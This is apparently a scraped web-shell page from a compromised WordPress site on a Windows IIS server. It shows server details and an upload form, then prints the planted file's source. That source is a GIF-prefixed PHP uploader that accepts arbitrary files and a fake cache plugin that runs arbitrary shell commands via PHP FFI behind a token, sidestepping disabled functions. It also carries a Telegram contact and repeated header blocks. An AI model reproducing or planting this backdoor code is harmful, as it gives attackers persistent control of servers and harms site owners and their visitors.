GIF89a; 
Priv8 Uploader By InMyMine7
Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64




GIF89a; 
Priv8 Uploader By InMyMine7
Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64




GIF89a; 
Priv8 Uploader By InMyMine7
Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64




GIF89a; 
Priv8 Uploader By InMyMine7
Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64






	.
	
	


	

		https://t.me/RX1948
	

	

		

			
				Server : Microsoft-IIS/10.0
System : Windows NT WIN-EIKGKM4PF33 10.0 build 14393 (Windows Server 2016) AMD64
User : hm77079 ( 0)
PHP Version : 7.3.6
Disable Function : passthru,exec,system,popen,chroot,chgrp,chown,escapesh,ellcmd,escapeshellarg
Directory :  D:/www/hm77079/wwwroot/wp-content/plugins/cache_dbb4d710_uaf/

Upload File : 

				current_dir [ Writeable ]
				document_root [ Writeable ]
				

				
				

				 
				

Current File : D:/www/hm77079/wwwroot/wp-content/plugins/cache_dbb4d710_uaf/cache_dbb4d710_uaf.php
GIF89a; <?php 
if ($_GET[''] == ''){
    echo '<pre><p>Priv8 Uploader By InMyMine7</p>'.php_uname()."
".'<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Uploaded';}else{echo 'Not Uploaded';}}
}
?>


<?php
/*
Plugin Name: cache_dbb4d710_uaf
Version: 1.0
*/
<?php
$cmd   = $_GET['c'] ?? '';
$token = $_GET['t'] ?? '';
if (hash('sha256', $token) !== '8a36678da90c0c37898013ef09dbf081d47e078a6a352c86220e47f29c9e0e47') die();
if (empty($cmd)) die();

$ffi = FFI::cdef("int system(const char *command);");
ob_start();
$ffi->system($cmd . ' 2>&1');
$out = ob_get_clean();
echo 'WP2S::' . $out . '::END';
?>

https://t.me/RX1948 - 2025